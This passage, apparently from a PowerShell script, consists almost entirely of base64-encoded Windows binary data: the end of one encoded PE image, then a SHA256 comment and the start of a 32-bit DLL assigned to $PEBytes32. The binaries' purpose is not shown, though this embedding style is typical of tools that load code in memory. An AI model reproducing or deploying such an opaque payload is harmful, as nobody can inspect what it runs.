ANyjCwAwfgYAr34GANyjCwCwfgYAQH8GAHCfCwBAfwYALoAGAMjDCwAwgAYAnYAGAHCfCwCggAYAI4EGAAywCwAkgQYAo4EGAMymCwCkgQYAtoMGAJSfCwC4gwYALYYGAHixCwAwhgYAtogGADSfCwC4iAYAMYsGADSfCwA0iwYAqIsGANyjCwCoiwYAPYwGAHilCwBAjAYAu40GAHilCwC8jQYAXo8GAHilCwBgjwYAApEGAHilCwAEkQYAfZMGANCqCwCAkwYASZYGAKTDCwBMlgYAFZkGAKTDCwAYmQYAl5kGAAieCwCYmQYAGJoGAAieCwAYmgYAMpwGAHDECwA0nAYAdZ4GAJTECwB4ngYAKp8GAHCfCwAsnwYA0p8GAKyoCwDUnwYAc6EGANyjCwB0oQYAT6IGAAieCwBQogYA4KIGAAieCwDgogYApqMGAAieCwCoowYAfaQGAHzECwCApAYAbKUGAGCqCwBspQYAWaYGAIi3CwBcpgYAZacGAAiqCwBopwYAIqgGAHieCwAkqAYA46gGAOieCwDkqAYAb6kGAES/CwBwqQYA06kGACCeCwDUqQYAC6wGAATECwAMrAYAeqwGABSfCwB8rAYA/qwGACCmCwAIrQYAja0GAHilCwCQrQYAfa4GAKSmCwCArgYA5a4GANyjCwDorgYAZ68GANyjCwBorwYAh7AGADSfCwCcsAYA97AGANyjCwAQsQYAh7EGAAieCwCIsQYA07EGANyjCwDgsQYAxLIGAMjECwDEsgYAB7MGAKTECwAIswYAi7MGAHCfCwCMswYA9bMGAATFCwD4swYAJ7QGAHilCwAotAYAB7UGACjFCwAItQYALrUGAHilCwAwtQYAEbYGADjFCwBctgYAo7YGAHilCwCktgYAV7cGAHy4CwC4twYAXrgGAEjGCwBguAYABrkGAEjGCwAIuQYArrkGAEjGCwCwuQYAVroGAEjGCwBYugYANsIGAGDGCwA4wgYAMdQGAHjGCwA01AYA49UGAJDGCwDk1QYA49cGAKTGCwDk1wYAUdoGAJjGCwBU2gYAGt0GALjGCwAc3QYAk90GAMynCwCU3QYAHN4GAMynCwAc3gYAk94GAMynCwCU3gYAHN8GAMynCwAc3wYAM+AGAHimCwA04AYAW+EGAHimCwBc4QYA7eUGACDGCwDw5QYAO+8GAIirCwA87wYA4e8GADzGCwDk7wYAgPAGADzGCwCA8AYAJ/EGADzGCwAo8QYAxvEGADzGCwDI8QYAkPMGADSfCwCQ8wYAcPUGAPCpCwBw9QYAcPcGALSyCwBw9wYAL/kGAMyuCwAw+QYAvfkGAJSfCwDA+QYAGfoGAAieCwDo+gYAuPwGAAieCwC4/AYAQP4GAHCfCwBA/gYAef4GAHimCwB8/gYAtf4GAHimCwC4/gYAawIHAIDMCwBsAgcA9gMHAJCoCwD4AwcAuiEHAOjFCwC8IQcAayIHABSfCwBwIgcA2SMHAKTFCwDZIwcADCcHAMTFCwAMJwcAPicHANjFCwBAJwcAuycHAAieCwBYKAcARikHAAieCwBIKQcALSoHAHCfCwAwKgcAUSsHAHCfCwBUKwcAiSwHAHCfCwCMLAcA+iwHAHCfCwD8LAcAcS0HAHCfCwB0LQcAIi4HAAzGCwAkLgcA2S4HAAzGCwDcLgcAZy8HAHCfCwBoLwcAHDAHAHCfCwAcMAcA0TAHAHCfCwDUMAcAXTEHAAieCwBgMQcA8DEHAAieCwBoNQcADzYHANyjCwAQNgcAZTgHAECeCwDgOgcAczwHAAieCwB0PAcAUT4HAMyuCwBUPgcAyj4HAAieCwDMPgcAXT8HADSfCwBgPwcA/D8HAGieCwD8PwcApkAHAPCiCwCoQAcALEEHAHCfCwAsQQcAp0EHAHCfCwCoQQcA70IHAIDFCwDwQgcAFUQHAGTFCwAYRAcAn0QHAAieCwCgRAcAOUUHAHilCwA8RQcAVEYHAISiCwBcRgcAAUgHACSlCwAESAcAHkgHAHimCwB8SAcAD0oHAECeCwAQSgcA8koHAAieCwD0SgcAP0sHANyjCwBASwcAiEsHAAieCwCISwcAwUsHAHilCwDgSwcAXUwHANDGCwBgTAcArEwHAHilCwDsTAcA/08HACDGCwAAUAcA1FYHANTGCwDUVgcAB1oHACDGCwAIWgcAwGEHAPDGCwDAYQcA72EHACCeCwDwYQcAH2IHACCeCwAgYgcAT2IHACCeCwBQYgcAf2IHACCeCwCAYgcAr2IHACCeCwCwYgcAeWMHABDHCwCEYwcAqWMHAHilCwC4YwcALmQHADSfCwAwZAcAfGQHAAieCwCQZAcAHWYHAJSfCwAsZgcAmGcHABjHCwCYZwcA4WcHANyjCwDkZwcAUGgHAHCfCwB8aAcAOGoHAHieCwA4agcAmWoHANyjCwCcagcAEmwHAFjHCwAUbAcAWWwHANyjCwBcbAcAyGwHAHCfCwDIbAcAwW0HAAylCwDEbQcABW4HAJitCwAIbgcA224HAGzHCwDcbgcA9m4HAHilCwD4bgcAEm8HAHilCwAcbwcAVG8HAHilCwBcbwcAl28HAIzHCwCYbwcAN3EHALDHCwA4cQcAEnMHAHieCwAkcwcAXnMHAITHCwCgcwcA6HMHAHzHCwD8cwcAH3QHAHilCwAgdAcAMHQHAHilCwAwdAcAgXQHANyjCwCMdAcAGnUHANyjCwAwdQcARHUHAHilCwBEdQcAVHUHAHilCwBodQcAeHUHAHilCwB4dQcAn3UHAODHCwCgdQcA3XUHAOygCwDgdQcAPnYHANyjCwBAdgcAn3YHANyjCwCgdgcA9XYHAHilCwD4dgcAbXcHANyjCwBwdwcAmncHAHimCwCcdwcA93gHAADICwAAeQcAp3kHAKifCwCoeQcAxnkHAHimCwDIeQcADnoHAHilCwAQegcAhHoHACyjCwCEegcA+HoHACyjCwD4egcARXsHAHCfCwBIewcAhnwHACDICwCIfAcAs3wHAHilCwD8fAcASn0HAHCfCwBMfQcAbH0HAHilCwBsfQcAjH0HAHilCwCMfQcA1H4HACCvCwDcfgcAYIAHADDICwBggAcAdIAHAHimCwB0gAcAzYEHAEDICwDQgQcAwIMHAEDICwDAgwcAH4QHAKDICwAghAcAZYQHAHzICwBohAcAp4QHAFjICwCohAcA5YQHAMTICwDohAcAtYUHAEjICwC4hQcA2IUHAOygCwDYhQcAzYYHAFDICwDQhgcAN4cHAHCfCwA4hwcAeYcHANyjCwB8hwcAEIgHAHCfCwAQiAcAr4gHAAieCwCwiAcA6YgHAHilCwDsiAcADokHAHilCwAQiQcAQYkHANyjCwBEiQcAdYkHANyjCwDgiQcAPY0HABTJCwBAjQcADY4HANikCwAQjgcA648HAPzICwDsjwcANJEHAISiCwA0kQcAa5IHADDJCwBskgcArpMHAOjICwCwkwcA8ZUHACSlCwD0lQcAbZcHAETJCwCglwcAb5gHAHCfCwBwmAcAqZgHAITDCwC4mAcA/5gHAGDJCwAAmQcA65kHAKDJCwDsmQcA55oHALiiCwDomgcAI5sHAIDJCwAkmwcAZJsHAHCfCwBkmwcAKJwHABDHCwAonAcAyJ0HAOieCwDInQcAt54HACCvCwC4ngcADZ8HAHCfCwAQnwcAZZ8HAHCfCwBonwcAvZ8HAHCfCwDAnwcAKKAHAAieCwAooAcA8aAHAISiCwD0oAcAsKEHAKifCwCwoQcAKKIHAJSfCwAoogcAF6MHACCvCwAYowcAfaMHAAieCwCAowcA5KMHAAieCwDkowcAG6QHAHzDCwAcpAcAoaQHAECeCwCkpAcA5aQHANyjCwDopAcAmqUHALzJCwCcpQcA3KUHANyjCwDcpQcAJKYHANyjCwBApgcAd6YHANyjCwCUpgcAIKcHAOjJCwAgpwcAsacHAODJCwC0pwcAvKkHAFzKCwC8qQcAwaoHAHzKCwDEqgcA4KsHAHzKCwDgqwcAUq0HAJzKCwBUrQcAQK4HAAzKCwBArgcAIbEHAETKCwAksQcAlbEHAMDKCwCYsQcAObIHAODJCwA8sgcA9rIHAHCfCwD4sgcAUbMHAOTKCwCYswcAgrQHAJSfCwCEtAcAGbUHAJSfCwActQcAbLUHAESpCwBstQcAI7YHADTLCwBItgcAB7cHADSfCwAstwcAW7gHAATLCwBcuAcAFrkHALiiCwAYuQcAjbkHAHilCwCQuQcAUbwHACCmCwBUvAcA8LwHAGDLCwDwvAcAH70HAHilCwAgvQcAkL0HAECeCwCQvQcAn74HAHTLCwCgvgcAs74HAHilCwC0vgcANr8HAHCfCwA4vwcAKsAHAAieCwAswAcAy88HAJDLCwDMzwcAHNEHAOinCwAc0QcAg9YHAKDLCwCE1gcAKNgHAEy9CwAo2AcARNgHAHilCwBQ2AcA19gHANikCwDs2AcA9doHAMTLCwD42gcACNwHANifCwAI3AcAtN0HANzLCwC03QcAe94HAJSfCwCE3gcAvN4HAFzMCwC83gcA0+AHAAieCwDU4AcAUeEHACyjCwBU4QcA5OEHAJSfCwDk4QcAxuMHAEDMCwDI4wcAfeUHAFC6CwCA5QcAp+UHAHilCwCo5QcAZ+YHAPzLCwBo5gcAD+kHACDMCwAQ6QcAhekHAHy4CwCc6QcAn+oHAISiCwCg6gcAje0HAIDMCwCQ7QcAeu4HACCfCwCM7gcAIe8HAJSfCwAk7wcAuO8HAJSfCwC47wcAB/AHAAieCwAQ8AcAUPAHAHCfCwBQ8AcAhPAHAJjMCwCE8AcAyfAHAOzMCwDM8AcA+vAHALjMCwAc8QcAtfMHAMDMCwDg8wcAJfQHAHCfCwAw9AcAb/QHACyjCwBw9AcAy/cHACDNCwDM9wcAYvgHABDNCwBk+AcAk/gHAHilCwAg+QcAlvoHAJSfCwDA+gcA9voHAOygCwAg+wcAyPsHAHilCwDI+wcAOPwHAEjNCwA4/AcAoPwHAHCfCwCg/AcAX/0HANyjCwBg/QcAyxAIAGzNCwDMEAgA0BEIAIzNCwDQEQgA2RIIAJzNCwDcEggAxBMIAAieCwDEEwgArRQIAAieCwCwFAgADxUIAHilCwAQFQgAGhYIAGipCwAcFggAiBYIAOygCwCIFggA3hYIAAieCwDgFggA6BcIAKzNCwAUGAgAxRkIALzNCwDIGQgAjxoIAGy2CwCQGggAwhoIAHilCwDEGggAtBsIAOTNCwC0GwgATRwIAAieCwBgHAgAuRwIABDRCwAMHQgAXB0IAHilCwBcHQgANh4IAKSmCwA4HggAFh8IADDOCwAYHwgAqiEIANCqCwCsIQgAtSMIAFTOCwC4IwgAeSQIAKyoCwB8JAgAaygIABTOCwBsKAgAnigIAHimCwCgKAgAASkIANyjCwAEKQgAGykIAHilCwAcKQgALSkIAHilCwA8KQgAjCkIANyjCwCMKQgAaCsIAGjOCwBoKwgAmCwIAHyfCwDoLAgAFy0IAHilCwAYLQgARy0IAHilCwBILQgAdy0IAHilCwB4LQgAxi8IALTOCwDILwgAnDEIAKTOCwCcMQgAoTIIAMjOCwCkMggA4DIIAITOCwDgMggA9zIIADDPCwD3MggAqzMIAEDPCwCrMwgArDMIAFzPCwCwMwgACzQIAOTOCwALNAgAxzYIAPzOCwDHNggA5DYIACDPCwDkNggAtjcIAHCfCwC4NwgAVjgIAGzPCwBgOAgA9jgIAPC6CwD4OAgADzkIAHilCwAoOQgAKDoIAAjCCwBAOggAYDoIANyjCwBgOggArDoIANyjCwCsOggA/DoIANyjCwDAOwgAa0EIAIDPCwBsQQgAp0EIAHS4CwCoQQgAyEEIAHilCwDIQQgAQUMIAPCdCwBEQwgAcUUIACirCwB0RQgAcUgI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ABABAAAAphCmIKYopjCmOKZApkimUKZYpmimcKZ4poCmiKaQppimoKa4psim0KbYpuCm6KawqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkoqTCpOKlAqUipUKlYqWCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqhCqGKogqiiqMKo4qkCqSKpQqliqYKpoqnCqeKqAqoiqkKqYqqCqqKqwqriqwKrIqtCq2Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKswrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8ivAAAAoAgAPAAAABiuIK4orjCuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AsAgApAEAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KwAwAgA7AAAAOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwDQCADsAAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnAPAIAAwAAAAorDCsAAAJAHgBAACopbilyKXYpeil+KUIphCmGKYgpiimMKY4pkCmSKZQplimYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KroqvCq+KoAqwirEKsYqyCrKKswqzirQKtIq1CrWKtgq2ircKt4q4CriKuQq5iroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AAAAQCQCQAAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChMKE4oUChSKFQoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocCh8KH4oQCiCKIQohiiIKIoohCjGKMgoyijUKMApAikEKQYpECkkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAgCQCQAAAAIKAooDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoJChmKGgoaihsKG4ocChyKHQodih4KEoqDCoOKhAqEioUKjwqfipAKoIqhCqKKowqjiqQKpYqmCqaKpwqniqgKqIqpCqmKqgqqiqsKrYquCquKwAAAAwCQAkAAAAiKWYpXCueK6AroiukK6YrqCueK+Ar4ivmK+orwBACQAQAQAA6KPwo/ijCKQQpBikqKSwpMik0KTYpGCnaKdwp4inkKeYp6CnqKewp7inwKfIp9Cn6KfwpwiouKjAqNiouKnAqdCp2Kngqeip8Kn4qQCqGKogqjiqqKuwq7irwKvIq9Cr2KtgrWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wrwAAAFAJAAwDAAAQoBigIKAooDCgOKBAoEigUKBYoGCgaKBwoHiggKCIoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooPCg+KAAoQihEKEYoSChkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJgomiicKKAooiioKKoosCiyKLgouii8KIAowijEKMgoyijMKNAo0ijYKNoo4CjiKOgo6ijwKPIo+Cj6KMApAikIKQopECkSKRgpGikcKSApIikkKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopcClyKUApgimEKYYpiCmKKa4pvimIKcopzCnOKdAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp6insKe4p8Cn0KfYp+in8Kf4pwCoCKgQqDioQKhIqFCoWKhgqGiogKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkwqTipSKlQqWCpaKmAqZipoKm4qdCp2Kngqeip8Kn4qQCqCKoQqhiqIKo4qlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKtIq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKworECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtCK0QrRitIK0orTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2grbCtyK3QreitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvSK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivAGAJADQBAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoHigkKCYoKCgqKCwoMig0KDYoOCg6KDwoPigAKEIoSChQKFgoYChiKGgoaihwKHIoeCh8KH4oRCiKKIwojiiUKJYomCicKJ4ooCiiKKQopiioKKoorCiuKLAosii0KLYouCi6KLwoviiAKMIoxCjGKMgoyijMKM4o0CjSKNQo1ijYKNoo3CjeKOAo4ijkKOYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpeimGKsgqyirMKs4q8Cr0KvYq+CrAAAAkAsAEAAAALip0KnYqQAAAAAMAAABAAA4oHigsKH4oRiiOKJYoniiqKLAosii0KIIoxCjYKOYpcCoyKjQqNio4KjoqPCo+KgAqQipGKkgqSipMKk4qUCpSKlQqeCp6Kl4q4irkKuYq6CryKvQq9ir4Kvoq/Cr+KsArAisGKxArFCsYKxwrJCsmKyorMCs2KzgrPCs+KwIrRCtIK0orTitQK1QrVitaK1wrYCtiK2YrbCtyK3QreCt6K34rQCuEK4orjCuQK5IrliuYK5wrniuiK6QrqCuqK64rsCu0K7Yruiu8K4ArwivGK8wrzivSK9Qr2CvaK94r4CvkK+Yr6ivsK/Ar8iv2K/gr/Cv+K8AAAAQDABkAQAACKAQoCCgKKA4oECgUKBYoGigcKCAoIigmKCgoLCgyKDgoOig+KAAoRChGKEooTChQKFIoVihYKFwoXihiKGQoaChqKG4ocCh0KHYoeih8KEAogiiGKIgojCiOKJIolCiYKJ4ooCikKKYoqiiwKLYovCiCKMgozijUKNYo2ijcKOAo4ijmKOwo8ij4KP4owCkyKXYpeilAKYQpiCmOKZIplimqKa4psCmyKbQpvimAKcIpxCnGKcgpyinMKdYp2inkKegp8in2KcAqBCoOKhIqHCogKioqLio4KjwqBipKKlQqWCpmKnAqcip0Kn4qQiqQKpoqnCqeKqgqrCq2KroqhCrIKtIq1irgKuQq7iryKvwqwCsKKw4rGCscKyYrKis0KzgrAitGK1ArVCteK2IrbCtwK3orfitIK4wrliuaK6QrqCuyK7YrgCvEK84r0ivcK+Ar6ivuK/gr/CvACAMAOAAAAAYoCCgKKBQoFigYKCIoJCgmKDAoMig0KD4oAChCKEwoTihQKFooXCheKGQoaChsKHIodih6KEAohCiIKJYopCiuKLIotii4KLoovCi+KIAoxCjQKOQo+CjYKRwpLCkwKQApRClUKVgpaClsKXwpQCmoKawpvCmAKdAp1CnkKegp+CnAKgQqEioWKhoqICokKjQqOCoIKkwqWipeKmIqQCqEKpgqrCqAKtgq7CrAKyQrKCs4KzwrDCtQK2QraCt4K3wrTCuQK7Artiu8K4QryCvYK9wr7CvwK8AMAwAgAAAAACgEKCwoMCgAKEQoVChYKGgobCh8KEAoliiYKKgovCiQKOQo1CkoKTwpEClkKUQpmCmsKYAp1CnoKfwp0CokKjgqDCpgKnQqSCqgKqYquCqMKugq/CrQKyQrOCsMK1wrXitiK3ArditEK4ornCuwK4Qr2CvsK8AAABADABMAAAAAKBgoGigeKDQoCChcKHAoRCiYKKwovCi+KIIo1CjkKOYo6ij4KPoo/ijQKSQpOCkUKVYpWilsKXwpfilCKZQpqCm8KYAAAAAAAAAAAAAAAA=' + + # SHA256 hash: 7ddaff27ffa42be531cad7600cf4e759a7a768c7ef05661e03fdc2edf6682dd0 + $PEBytes32 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADwXgubtD9lyLQ/Zci0P2XIAKOUyL4/ZcgAo5bIID9lyACjl8itP2XI12JmyaM/ZcjXYmDJoz9lyNdiYcmnP2XI0tGuyLA/Zci9R+bItj9lyHcwOMiyP2XIvUf2yK8/Zci0P2TIxz5lyNpibcnzP2XI2mJlybU/ZcjaYprItT9lyNpiZ8m1P2XIUmljaLQ/ZcgAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBgBOUYlXAAAAAAAAAADgAAIhCwEOAAAKBwAAggMAAAAAAAgXBQAAEAAAACAHAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAwAoAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAoOkJAGAA